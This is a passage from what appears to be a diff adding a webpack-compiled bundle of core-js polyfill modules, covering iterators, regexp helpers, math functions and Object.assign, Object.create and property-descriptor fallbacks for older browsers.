(regexp.exec === regexpExec) { + if (DELEGATES_TO_SYMBOL && !forceStringMethod) { + // The native String method already delegates to @@method (this + // polyfilled function), leasing to infinite recursion. + // We avoid it by directly calling the native @@method method. + return { done: true, value: nativeRegExpMethod.call(regexp, str, arg2) }; + } + return { done: true, value: nativeMethod.call(str, regexp, arg2) }; + } + return { done: false }; + } + ); + var strfn = fns[0]; + var rxfn = fns[1]; + + redefine(String.prototype, KEY, strfn); + hide(RegExp.prototype, SYMBOL, length == 2 + // 21.2.5.8 RegExp.prototype[@@replace](string, replaceValue) + // 21.2.5.11 RegExp.prototype[@@split](string, limit) + ? function (string, arg) { return rxfn.call(string, this, arg); } + // 21.2.5.6 RegExp.prototype[@@match](string) + // 21.2.5.9 RegExp.prototype[@@search](string) + : function (string) { return rxfn.call(string, this); } + ); + } +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_flags.js": +/*!************************************************!*\ + !*** ./node_modules/core-js/modules/_flags.js ***! + \************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +// 21.2.5.3 get RegExp.prototype.flags +var anObject = __webpack_require__(/*! ./_an-object */ "./node_modules/core-js/modules/_an-object.js"); +module.exports = function () { + var that = anObject(this); + var result = ''; + if (that.global) result += 'g'; + if (that.ignoreCase) result += 'i'; + if (that.multiline) result += 'm'; + if (that.unicode) result += 'u'; + if (that.sticky) result += 'y'; + return result; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_for-of.js": +/*!*************************************************!*\ + !*** ./node_modules/core-js/modules/_for-of.js ***! + \*************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var ctx = __webpack_require__(/*! ./_ctx */ "./node_modules/core-js/modules/_ctx.js"); +var call = __webpack_require__(/*! ./_iter-call */ "./node_modules/core-js/modules/_iter-call.js"); +var isArrayIter = __webpack_require__(/*! ./_is-array-iter */ "./node_modules/core-js/modules/_is-array-iter.js"); +var anObject = __webpack_require__(/*! ./_an-object */ "./node_modules/core-js/modules/_an-object.js"); +var toLength = __webpack_require__(/*! ./_to-length */ "./node_modules/core-js/modules/_to-length.js"); +var getIterFn = __webpack_require__(/*! ./core.get-iterator-method */ "./node_modules/core-js/modules/core.get-iterator-method.js"); +var BREAK = {}; +var RETURN = {}; +var exports = module.exports = function (iterable, entries, fn, that, ITERATOR) { + var iterFn = ITERATOR ? function () { return iterable; } : getIterFn(iterable); + var f = ctx(fn, that, entries ? 2 : 1); + var index = 0; + var length, step, iterator, result; + if (typeof iterFn != 'function') throw TypeError(iterable + ' is not iterable!'); + // fast case for arrays with default iterator + if (isArrayIter(iterFn)) for (length = toLength(iterable.length); length > index; index++) { + result = entries ? f(anObject(step = iterable[index])[0], step[1]) : f(iterable[index]); + if (result === BREAK || result === RETURN) return result; + } else for (iterator = iterFn.call(iterable); !(step = iterator.next()).done;) { + result = call(iterator, f, step.value, entries); + if (result === BREAK || result === RETURN) return result; + } +}; +exports.BREAK = BREAK; +exports.RETURN = RETURN; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_function-to-string.js": +/*!*************************************************************!*\ + !*** ./node_modules/core-js/modules/_function-to-string.js ***! + \*************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +module.exports = __webpack_require__(/*! ./_shared */ "./node_modules/core-js/modules/_shared.js")('native-function-to-string', Function.toString); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_global.js": +/*!*************************************************!*\ + !*** ./node_modules/core-js/modules/_global.js ***! + \*************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +// https://github.com/zloirock/core-js/issues/86#issuecomment-115759028 +var global = module.exports = typeof window != 'undefined' && window.Math == Math + ? window : typeof self != 'undefined' && self.Math == Math ? self + // eslint-disable-next-line no-new-func + : Function('return this')(); +if (typeof __g == 'number') __g = global; // eslint-disable-line no-undef + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_has.js": +/*!**********************************************!*\ + !*** ./node_modules/core-js/modules/_has.js ***! + \**********************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +var hasOwnProperty = {}.hasOwnProperty; +module.exports = function (it, key) { + return hasOwnProperty.call(it, key); +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_hide.js": +/*!***********************************************!*\ + !*** ./node_modules/core-js/modules/_hide.js ***! + \***********************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var dP = __webpack_require__(/*! ./_object-dp */ "./node_modules/core-js/modules/_object-dp.js"); +var createDesc = __webpack_require__(/*! ./_property-desc */ "./node_modules/core-js/modules/_property-desc.js"); +module.exports = __webpack_require__(/*! ./_descriptors */ "./node_modules/core-js/modules/_descriptors.js") ? function (object, key, value) { + return dP.f(object, key, createDesc(1, value)); +} : function (object, key, value) { + object[key] = value; + return object; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_html.js": +/*!***********************************************!*\ + !*** ./node_modules/core-js/modules/_html.js ***! + \***********************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var document = __webpack_require__(/*! ./_global */ "./node_modules/core-js/modules/_global.js").document; +module.exports = document && document.documentElement; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_ie8-dom-define.js": +/*!*********************************************************!*\ + !*** ./node_modules/core-js/modules/_ie8-dom-define.js ***! + \*********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +module.exports = !__webpack_require__(/*! ./_descriptors */ "./node_modules/core-js/modules/_descriptors.js") && !__webpack_require__(/*! ./_fails */ "./node_modules/core-js/modules/_fails.js")(function () { + return Object.defineProperty(__webpack_require__(/*! ./_dom-create */ "./node_modules/core-js/modules/_dom-create.js")('div'), 'a', { get: function () { return 7; } }).a != 7; +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_inherit-if-required.js": +/*!**************************************************************!*\ + !*** ./node_modules/core-js/modules/_inherit-if-required.js ***! + \**************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var isObject = __webpack_require__(/*! ./_is-object */ "./node_modules/core-js/modules/_is-object.js"); +var setPrototypeOf = __webpack_require__(/*! ./_set-proto */ "./node_modules/core-js/modules/_set-proto.js").set; +module.exports = function (that, target, C) { + var S = target.constructor; + var P; + if (S !== C && typeof S == 'function' && (P = S.prototype) !== C.prototype && isObject(P) && setPrototypeOf) { + setPrototypeOf(that, P); + } return that; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_invoke.js": +/*!*************************************************!*\ + !*** ./node_modules/core-js/modules/_invoke.js ***! + \*************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +// fast apply, http://jsperf.lnkit.com/fast-apply/5 +module.exports = function (fn, args, that) { + var un = that === undefined; + switch (args.length) { + case 0: return un ? fn() + : fn.call(that); + case 1: return un ? fn(args[0]) + : fn.call(that, args[0]); + case 2: return un ? fn(args[0], args[1]) + : fn.call(that, args[0], args[1]); + case 3: return un ? fn(args[0], args[1], args[2]) + : fn.call(that, args[0], args[1], args[2]); + case 4: return un ? fn(args[0], args[1], args[2], args[3]) + : fn.call(that, args[0], args[1], args[2], args[3]); + } return fn.apply(that, args); +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_iobject.js": +/*!**************************************************!*\ + !*** ./node_modules/core-js/modules/_iobject.js ***! + \**************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// fallback for non-array-like ES3 and non-enumerable old V8 strings +var cof = __webpack_require__(/*! ./_cof */ "./node_modules/core-js/modules/_cof.js"); +// eslint-disable-next-line no-prototype-builtins +module.exports = Object('z').propertyIsEnumerable(0) ? Object : function (it) { + return cof(it) == 'String' ? it.split('') : Object(it); +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_is-array-iter.js": +/*!********************************************************!*\ + !*** ./node_modules/core-js/modules/_is-array-iter.js ***! + \********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// check on default Array iterator +var Iterators = __webpack_require__(/*! ./_iterators */ "./node_modules/core-js/modules/_iterators.js"); +var ITERATOR = __webpack_require__(/*! ./_wks */ "./node_modules/core-js/modules/_wks.js")('iterator'); +var ArrayProto = Array.prototype; + +module.exports = function (it) { + return it !== undefined && (Iterators.Array === it || ArrayProto[ITERATOR] === it); +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_is-array.js": +/*!***************************************************!*\ + !*** ./node_modules/core-js/modules/_is-array.js ***! + \***************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 7.2.2 IsArray(argument) +var cof = __webpack_require__(/*! ./_cof */ "./node_modules/core-js/modules/_cof.js"); +module.exports = Array.isArray || function isArray(arg) { + return cof(arg) == 'Array'; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_is-integer.js": +/*!*****************************************************!*\ + !*** ./node_modules/core-js/modules/_is-integer.js ***! + \*****************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 20.1.2.3 Number.isInteger(number) +var isObject = __webpack_require__(/*! ./_is-object */ "./node_modules/core-js/modules/_is-object.js"); +var floor = Math.floor; +module.exports = function isInteger(it) { + return !isObject(it) && isFinite(it) && floor(it) === it; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_is-object.js": +/*!****************************************************!*\ + !*** ./node_modules/core-js/modules/_is-object.js ***! + \****************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +module.exports = function (it) { + return typeof it === 'object' ? it !== null : typeof it === 'function'; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_is-regexp.js": +/*!****************************************************!*\ + !*** ./node_modules/core-js/modules/_is-regexp.js ***! + \****************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 7.2.8 IsRegExp(argument) +var isObject = __webpack_require__(/*! ./_is-object */ "./node_modules/core-js/modules/_is-object.js"); +var cof = __webpack_require__(/*! ./_cof */ "./node_modules/core-js/modules/_cof.js"); +var MATCH = __webpack_require__(/*! ./_wks */ "./node_modules/core-js/modules/_wks.js")('match'); +module.exports = function (it) { + var isRegExp; + return isObject(it) && ((isRegExp = it[MATCH]) !== undefined ? !!isRegExp : cof(it) == 'RegExp'); +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_iter-call.js": +/*!****************************************************!*\ + !*** ./node_modules/core-js/modules/_iter-call.js ***! + \****************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// call something on iterator step with safe closing on error +var anObject = __webpack_require__(/*! ./_an-object */ "./node_modules/core-js/modules/_an-object.js"); +module.exports = function (iterator, fn, value, entries) { + try { + return entries ? fn(anObject(value)[0], value[1]) : fn(value); + // 7.4.6 IteratorClose(iterator, completion) + } catch (e) { + var ret = iterator['return']; + if (ret !== undefined) anObject(ret.call(iterator)); + throw e; + } +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_iter-create.js": +/*!******************************************************!*\ + !*** ./node_modules/core-js/modules/_iter-create.js ***! + \******************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var create = __webpack_require__(/*! ./_object-create */ "./node_modules/core-js/modules/_object-create.js"); +var descriptor = __webpack_require__(/*! ./_property-desc */ "./node_modules/core-js/modules/_property-desc.js"); +var setToStringTag = __webpack_require__(/*! ./_set-to-string-tag */ "./node_modules/core-js/modules/_set-to-string-tag.js"); +var IteratorPrototype = {}; + +// 25.1.2.1.1 %IteratorPrototype%[@@iterator]() +__webpack_require__(/*! ./_hide */ "./node_modules/core-js/modules/_hide.js")(IteratorPrototype, __webpack_require__(/*! ./_wks */ "./node_modules/core-js/modules/_wks.js")('iterator'), function () { return this; }); + +module.exports = function (Constructor, NAME, next) { + Constructor.prototype = create(IteratorPrototype, { next: descriptor(1, next) }); + setToStringTag(Constructor, NAME + ' Iterator'); +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_iter-define.js": +/*!******************************************************!*\ + !*** ./node_modules/core-js/modules/_iter-define.js ***! + \******************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var LIBRARY = __webpack_require__(/*! ./_library */ "./node_modules/core-js/modules/_library.js"); +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var redefine = __webpack_require__(/*! ./_redefine */ "./node_modules/core-js/modules/_redefine.js"); +var hide = __webpack_require__(/*! ./_hide */ "./node_modules/core-js/modules/_hide.js"); +var Iterators = __webpack_require__(/*! ./_iterators */ "./node_modules/core-js/modules/_iterators.js"); +var $iterCreate = __webpack_require__(/*! ./_iter-create */ "./node_modules/core-js/modules/_iter-create.js"); +var setToStringTag = __webpack_require__(/*! ./_set-to-string-tag */ "./node_modules/core-js/modules/_set-to-string-tag.js"); +var getPrototypeOf = __webpack_require__(/*! ./_object-gpo */ "./node_modules/core-js/modules/_object-gpo.js"); +var ITERATOR = __webpack_require__(/*! ./_wks */ "./node_modules/core-js/modules/_wks.js")('iterator'); +var BUGGY = !([].keys && 'next' in [].keys()); // Safari has buggy iterators w/o `next` +var FF_ITERATOR = '@@iterator'; +var KEYS = 'keys'; +var VALUES = 'values'; + +var returnThis = function () { return this; }; + +module.exports = function (Base, NAME, Constructor, next, DEFAULT, IS_SET, FORCED) { + $iterCreate(Constructor, NAME, next); + var getMethod = function (kind) { + if (!BUGGY && kind in proto) return proto[kind]; + switch (kind) { + case KEYS: return function keys() { return new Constructor(this, kind); }; + case VALUES: return function values() { return new Constructor(this, kind); }; + } return function entries() { return new Constructor(this, kind); }; + }; + var TAG = NAME + ' Iterator'; + var DEF_VALUES = DEFAULT == VALUES; + var VALUES_BUG = false; + var proto = Base.prototype; + var $native = proto[ITERATOR] || proto[FF_ITERATOR] || DEFAULT && proto[DEFAULT]; + var $default = $native || getMethod(DEFAULT); + var $entries = DEFAULT ? !DEF_VALUES ? $default : getMethod('entries') : undefined; + var $anyNative = NAME == 'Array' ? proto.entries || $native : $native; + var methods, key, IteratorPrototype; + // Fix native + if ($anyNative) { + IteratorPrototype = getPrototypeOf($anyNative.call(new Base())); + if (IteratorPrototype !== Object.prototype && IteratorPrototype.next) { + // Set @@toStringTag to native iterators + setToStringTag(IteratorPrototype, TAG, true); + // fix for some old engines + if (!LIBRARY && typeof IteratorPrototype[ITERATOR] != 'function') hide(IteratorPrototype, ITERATOR, returnThis); + } + } + // fix Array#{values, @@iterator}.name in V8 / FF + if (DEF_VALUES && $native && $native.name !== VALUES) { + VALUES_BUG = true; + $default = function values() { return $native.call(this); }; + } + // Define iterator + if ((!LIBRARY || FORCED) && (BUGGY || VALUES_BUG || !proto[ITERATOR])) { + hide(proto, ITERATOR, $default); + } + // Plug for library + Iterators[NAME] = $default; + Iterators[TAG] = returnThis; + if (DEFAULT) { + methods = { + values: DEF_VALUES ? $default : getMethod(VALUES), + keys: IS_SET ? $default : getMethod(KEYS), + entries: $entries + }; + if (FORCED) for (key in methods) { + if (!(key in proto)) redefine(proto, key, methods[key]); + } else $export($export.P + $export.F * (BUGGY || VALUES_BUG), NAME, methods); + } + return methods; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_iter-detect.js": +/*!******************************************************!*\ + !*** ./node_modules/core-js/modules/_iter-detect.js ***! + \******************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var ITERATOR = __webpack_require__(/*! ./_wks */ "./node_modules/core-js/modules/_wks.js")('iterator'); +var SAFE_CLOSING = false; + +try { + var riter = [7][ITERATOR](); + riter['return'] = function () { SAFE_CLOSING = true; }; + // eslint-disable-next-line no-throw-literal + Array.from(riter, function () { throw 2; }); +} catch (e) { /* empty */ } + +module.exports = function (exec, skipClosing) { + if (!skipClosing && !SAFE_CLOSING) return false; + var safe = false; + try { + var arr = [7]; + var iter = arr[ITERATOR](); + iter.next = function () { return { done: safe = true }; }; + arr[ITERATOR] = function () { return iter; }; + exec(arr); + } catch (e) { /* empty */ } + return safe; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_iter-step.js": +/*!****************************************************!*\ + !*** ./node_modules/core-js/modules/_iter-step.js ***! + \****************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +module.exports = function (done, value) { + return { value: value, done: !!done }; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_iterators.js": +/*!****************************************************!*\ + !*** ./node_modules/core-js/modules/_iterators.js ***! + \****************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +module.exports = {}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_library.js": +/*!**************************************************!*\ + !*** ./node_modules/core-js/modules/_library.js ***! + \**************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +module.exports = false; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_math-expm1.js": +/*!*****************************************************!*\ + !*** ./node_modules/core-js/modules/_math-expm1.js ***! + \*****************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +// 20.2.2.14 Math.expm1(x) +var $expm1 = Math.expm1; +module.exports = (!$expm1 + // Old FF bug + || $expm1(10) > 22025.465794806719 || $expm1(10) < 22025.4657948067165168 + // Tor Browser bug + || $expm1(-2e-17) != -2e-17 +) ? function expm1(x) { + return (x = +x) == 0 ? x : x > -1e-6 && x < 1e-6 ? x + x * x / 2 : Math.exp(x) - 1; +} : $expm1; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_math-fround.js": +/*!******************************************************!*\ + !*** ./node_modules/core-js/modules/_math-fround.js ***! + \******************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 20.2.2.16 Math.fround(x) +var sign = __webpack_require__(/*! ./_math-sign */ "./node_modules/core-js/modules/_math-sign.js"); +var pow = Math.pow; +var EPSILON = pow(2, -52); +var EPSILON32 = pow(2, -23); +var MAX32 = pow(2, 127) * (2 - EPSILON32); +var MIN32 = pow(2, -126); + +var roundTiesToEven = function (n) { + return n + 1 / EPSILON - 1 / EPSILON; +}; + +module.exports = Math.fround || function fround(x) { + var $abs = Math.abs(x); + var $sign = sign(x); + var a, result; + if ($abs < MIN32) return $sign * roundTiesToEven($abs / MIN32 / EPSILON32) * MIN32 * EPSILON32; + a = (1 + EPSILON32 / EPSILON) * $abs; + result = a - (a - $abs); + // eslint-disable-next-line no-self-compare + if (result > MAX32 || result != result) return $sign * Infinity; + return $sign * result; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_math-log1p.js": +/*!*****************************************************!*\ + !*** ./node_modules/core-js/modules/_math-log1p.js ***! + \*****************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +// 20.2.2.20 Math.log1p(x) +module.exports = Math.log1p || function log1p(x) { + return (x = +x) > -1e-8 && x < 1e-8 ? x - x * x / 2 : Math.log(1 + x); +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_math-sign.js": +/*!****************************************************!*\ + !*** ./node_modules/core-js/modules/_math-sign.js ***! + \****************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +// 20.2.2.28 Math.sign(x) +module.exports = Math.sign || function sign(x) { + // eslint-disable-next-line no-self-compare + return (x = +x) == 0 || x != x ? x : x < 0 ? -1 : 1; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_meta.js": +/*!***********************************************!*\ + !*** ./node_modules/core-js/modules/_meta.js ***! + \***********************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var META = __webpack_require__(/*! ./_uid */ "./node_modules/core-js/modules/_uid.js")('meta'); +var isObject = __webpack_require__(/*! ./_is-object */ "./node_modules/core-js/modules/_is-object.js"); +var has = __webpack_require__(/*! ./_has */ "./node_modules/core-js/modules/_has.js"); +var setDesc = __webpack_require__(/*! ./_object-dp */ "./node_modules/core-js/modules/_object-dp.js").f; +var id = 0; +var isExtensible = Object.isExtensible || function () { + return true; +}; +var FREEZE = !__webpack_require__(/*! ./_fails */ "./node_modules/core-js/modules/_fails.js")(function () { + return isExtensible(Object.preventExtensions({})); +}); +var setMeta = function (it) { + setDesc(it, META, { value: { + i: 'O' + ++id, // object ID + w: {} // weak collections IDs + } }); +}; +var fastKey = function (it, create) { + // return primitive with prefix + if (!isObject(it)) return typeof it == 'symbol' ? it : (typeof it == 'string' ? 'S' : 'P') + it; + if (!has(it, META)) { + // can't set metadata to uncaught frozen object + if (!isExtensible(it)) return 'F'; + // not necessary to add metadata + if (!create) return 'E'; + // add missing metadata + setMeta(it); + // return object ID + } return it[META].i; +}; +var getWeak = function (it, create) { + if (!has(it, META)) { + // can't set metadata to uncaught frozen object + if (!isExtensible(it)) return true; + // not necessary to add metadata + if (!create) return false; + // add missing metadata + setMeta(it); + // return hash weak collections IDs + } return it[META].w; +}; +// add metadata on freeze-family methods calling +var onFreeze = function (it) { + if (FREEZE && meta.NEED && isExtensible(it) && !has(it, META)) setMeta(it); + return it; +}; +var meta = module.exports = { + KEY: META, + NEED: false, + fastKey: fastKey, + getWeak: getWeak, + onFreeze: onFreeze +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_object-assign.js": +/*!********************************************************!*\ + !*** ./node_modules/core-js/modules/_object-assign.js ***! + \********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +// 19.1.2.1 Object.assign(target, source, ...) +var DESCRIPTORS = __webpack_require__(/*! ./_descriptors */ "./node_modules/core-js/modules/_descriptors.js"); +var getKeys = __webpack_require__(/*! ./_object-keys */ "./node_modules/core-js/modules/_object-keys.js"); +var gOPS = __webpack_require__(/*! ./_object-gops */ "./node_modules/core-js/modules/_object-gops.js"); +var pIE = __webpack_require__(/*! ./_object-pie */ "./node_modules/core-js/modules/_object-pie.js"); +var toObject = __webpack_require__(/*! ./_to-object */ "./node_modules/core-js/modules/_to-object.js"); +var IObject = __webpack_require__(/*! ./_iobject */ "./node_modules/core-js/modules/_iobject.js"); +var $assign = Object.assign; + +// should work with symbols and should have deterministic property order (V8 bug) +module.exports = !$assign || __webpack_require__(/*! ./_fails */ "./node_modules/core-js/modules/_fails.js")(function () { + var A = {}; + var B = {}; + // eslint-disable-next-line no-undef + var S = Symbol(); + var K = 'abcdefghijklmnopqrst'; + A[S] = 7; + K.split('').forEach(function (k) { B[k] = k; }); + return $assign({}, A)[S] != 7 || Object.keys($assign({}, B)).join('') != K; +}) ? function assign(target, source) { // eslint-disable-line no-unused-vars + var T = toObject(target); + var aLen = arguments.length; + var index = 1; + var getSymbols = gOPS.f; + var isEnum = pIE.f; + while (aLen > index) { + var S = IObject(arguments[index++]); + var keys = getSymbols ? getKeys(S).concat(getSymbols(S)) : getKeys(S); + var length = keys.length; + var j = 0; + var key; + while (length > j) { + key = keys[j++]; + if (!DESCRIPTORS || isEnum.call(S, key)) T[key] = S[key]; + } + } return T; +} : $assign; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_object-create.js": +/*!********************************************************!*\ + !*** ./node_modules/core-js/modules/_object-create.js ***! + \********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 19.1.2.2 / 15.2.3.5 Object.create(O [, Properties]) +var anObject = __webpack_require__(/*! ./_an-object */ "./node_modules/core-js/modules/_an-object.js"); +var dPs = __webpack_require__(/*! ./_object-dps */ "./node_modules/core-js/modules/_object-dps.js"); +var enumBugKeys = __webpack_require__(/*! ./_enum-bug-keys */ "./node_modules/core-js/modules/_enum-bug-keys.js"); +var IE_PROTO = __webpack_require__(/*! ./_shared-key */ "./node_modules/core-js/modules/_shared-key.js")('IE_PROTO'); +var Empty = function () { /* empty */ }; +var PROTOTYPE = 'prototype'; + +// Create object with fake `null` prototype: use iframe Object with cleared prototype +var createDict = function () { + // Thrash, waste and sodomy: IE GC bug + var iframe = __webpack_require__(/*! ./_dom-create */ "./node_modules/core-js/modules/_dom-create.js")('iframe'); + var i = enumBugKeys.length; + var lt = '<'; + var gt = '>'; + var iframeDocument; + iframe.style.display = 'none'; + __webpack_require__(/*! ./_html */ "./node_modules/core-js/modules/_html.js").appendChild(iframe); + iframe.src = 'javascript:'; // eslint-disable-line no-script-url + // createDict = iframe.contentWindow.Object; + // html.removeChild(iframe); + iframeDocument = iframe.contentWindow.document; + iframeDocument.open(); + iframeDocument.write(lt + 'script' + gt + 'document.F=Object' + lt + '/script' + gt); + iframeDocument.close(); + createDict = iframeDocument.F; + while (i--) delete createDict[PROTOTYPE][enumBugKeys[i]]; + return createDict(); +}; + +module.exports = Object.create || function create(O, Properties) { + var result; + if (O !== null) { + Empty[PROTOTYPE] = anObject(O); + result = new Empty(); + Empty[PROTOTYPE] = null; + // add "__proto__" for Object.getPrototypeOf polyfill + result[IE_PROTO] = O; + } else result = createDict(); + return Properties === undefined ? result : dPs(result, Properties); +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_object-dp.js": +/*!****************************************************!*\ + !*** ./node_modules/core-js/modules/_object-dp.js ***! + \****************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var anObject = __webpack_require__(/*! ./_an-object */ "./node_modules/core-js/modules/_an-object.js"); +var IE8_DOM_DEFINE = __webpack_require__(/*! ./_ie8-dom-define */ "./node_modules/core-js/modules/_ie8-dom-define.js"); +var toPrimitive = __webpack_require__(/*! ./_to-primitive */ "./node_modules/core-js/modules/_to-primitive.js"); +var dP = Object.defineProperty; + +exports.f = __webpack_require__(/*! ./_descriptors */ "./node_modules/core-js/modules/_descriptors.js") ? Object.defineProperty : function defineProperty(O, P, Attributes) { + anObject(O); + P = toPrimitive(P, true); + anObject(Attributes); + if (IE8_DOM_DEFINE) try { + return dP(O, P, Attributes); + } catch (e) { /* empty */ } + if ('get' in Attributes || 'set' in Attributes) throw TypeError('Accessors not supported!'); + if ('value' in Attributes) O[P] = Attributes.value; + return O; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_object-dps.js": +/*!*****************************************************!*\ + !*** ./node_modules/core-js/modules/_object-dps.js ***! + \*****************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var dP = __webpack_require__(/*! ./_object-dp */ "./node_modules/core-js/modules/_object-dp.js"); +var anObject = __webpack_require__(/*! ./_an-object */ "./node_modules/core-js/modules/_an-object.js"); +var getKeys = __webpack_require__(/*! ./_object-keys */ "./node_modules/core-js/modules/_object-keys.js"); + +module.exports = __webpack_require__(/*! ./_descriptors */ "./node_modules/core-js/modules/_descriptors.js") ? Object.defineProperties : function defineProperties(O, Properties) { + anObject(O); + var keys = getKeys(Properties); + var length = keys.length; + var i = 0; + var P; + while (length > i) dP.f(O, P = keys[i++], Properties[P]); + return O; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_object-gopd.js": +/*!******************************************************!*\ + !*** ./node_modules/core-js/modules/_object-gopd.js ***! + \******************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var pIE = __webpack_require__(/*! ./_object-pie */ "./node_modules/core-js/modules/_object-pie.js"); +var createDesc = __webpack_require__(/*! ./_property-desc */ "./node_modules/core-js/modules/_property-desc.js"); +var toIObject = __webpack_require__(/*! ./_to-iobject */ "./node_modules/core-js/modules/_to-iobject.js"); +var toPrimitive = __webpack_require__(/*! ./_to-primitive */ "./node_modules/core-js/modules/_to-primitive.js"); +var has = __webpack_require__(/*! ./_has */ "./node_modules/core-js/modules/_has.js"); +var IE8_DOM_DEFINE = __webpack_require__(/*! ./_ie8-dom-define */ "./node_modules/core-js/modules/_ie8-dom-define.js"); +var gOPD = Object.getOwnPropertyDescriptor; + +exports.f = __webpack_require__(/*! ./_descriptors */ "./node_modules/core-js/modules/_descriptors.js") ? gOPD : function getOwnPropertyDescriptor(O, P) { + O = toIObject(O); + P = toPrimitive(P, true); + if (IE8_DOM_DEFINE) try { + return gOPD(O, P); + } catch (e) { /* empty */ } + if (has(O, P)) return createDesc(!pIE.f.call(O, P), O[P]); +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_object-gopn-ext.js": +/*!**********************************************************!*\ + !*** ./node_modules/core-js/modules/_object-gopn-ext.js ***! + \**********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// fallback for IE11 buggy Object.getOwnPropertyNames with iframe and window +var toIObject = __webpack_require__(/*! ./_to-iobject */ "./node_modules/core-js/modules/_to-iobject.js"); +var gOPN = __webpack_require__(/*! ./_object-gopn */ "./node_modules/core-js/modules/_object-gopn.js").f; +var toString = {}.toString; + +var windowNames = typeof window == 'object' && window && Object.getOwnPropertyNames + ? Object.getOwnPropertyNames(window) : []; + +var getWindowNames = function (it) { + try { + return gOPN(it); + } catch (e) { + return windowNames.slice(); + } +}; + +module.exports.f = function getOwnPropertyNames(it) { + return windowNames && toString.call(it) == '[object Window]' ? getWindowNames(it) : gOPN(toIObject(it)); +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_object-gopn.js": +/*!******************************************************!*\ + !*** ./node_modules/core-js/modules/_object-gopn.js ***! + \******************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 19.1.2.7 / 15.2.3.4 Object.getOwnPropertyNames(O) +var $keys = __webpack_require__(/*! ./_object-keys-internal */ "./node_modules/core-js/modules/_object-keys-internal.js"); +var hiddenKeys = __webpack_require__(/*! ./_enum-bug-keys */ "./node_modules/core-js/modules/_enum-bug-keys.js").concat('length', 'prototype'); + +exports.f = Object.getOwnPropertyNames || function getOwnPropertyNames(O) { + return $keys(O, hiddenKeys); +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_object-gops.js": +/*!******************************************************!*\ + !*** 